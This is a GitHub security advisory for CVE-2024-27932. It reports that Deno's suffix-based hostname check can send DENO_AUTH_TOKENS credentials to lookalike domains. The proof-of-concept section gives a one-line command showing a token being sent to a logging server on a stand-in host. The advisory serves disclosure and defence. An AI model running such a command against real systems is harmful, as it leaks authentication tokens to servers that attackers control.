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Deno's improper suffix match testing for DENO_AUTH_TOKENS

Moderate severity GitHub Reviewed Published Mar 5, 2024 in denoland/deno • Updated Mar 21, 2024

Package

cargo deno (Rust)

Affected versions

>= 1.8.0, < 1.40.4

Patched versions

1.40.4

Description

Summary

Deno improperly checks that an import specifier's hostname is equal to or a child of a token's hostname, which can cause tokens to be sent to servers they shouldn't be sent to. An auth token intended for example.com may be sent to notexample.com.

Details

auth_tokens.rs uses a simple ends_with check, which matches www.deno.land to a deno.land token as intended, but also matches im-in-ur-servers-attacking-ur-deno.land to deno.land tokens.

PoC

  • Set up a server that logs requests. RequestBin will do. For example, denovulnpoc.example.com.
  • Run DENO_AUTH_TOKENS=a1b2c3d4e5f6@left-truncated.domain deno run https://not-a-left-truncated.domain. For example, DENO_AUTH_TOKENS=a1b2c3d4e5f6@poc.example.com deno run https://denovulnpoc.example.com
  • Observe that the token intended only for the truncated domain is sent to the full domain

Impact

What kind of vulnerability is it? Who is impacted?
Anyone who uses DENO_AUTH_TOKENS and imports potentially untrusted code is affected.

References

@mmastrac mmastrac published to denoland/deno Mar 5, 2024
Published to the GitHub Advisory Database Mar 6, 2024
Reviewed Mar 6, 2024
Published by the National Vulnerability Database Mar 21, 2024
Last updated Mar 21, 2024

Severity

Moderate
4.6
/ 10

CVSS base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
Required
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
None
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N

Weaknesses

CVE ID

CVE-2024-27932

GHSA ID

GHSA-5frw-4rwq-xhcr

Source code

Credits

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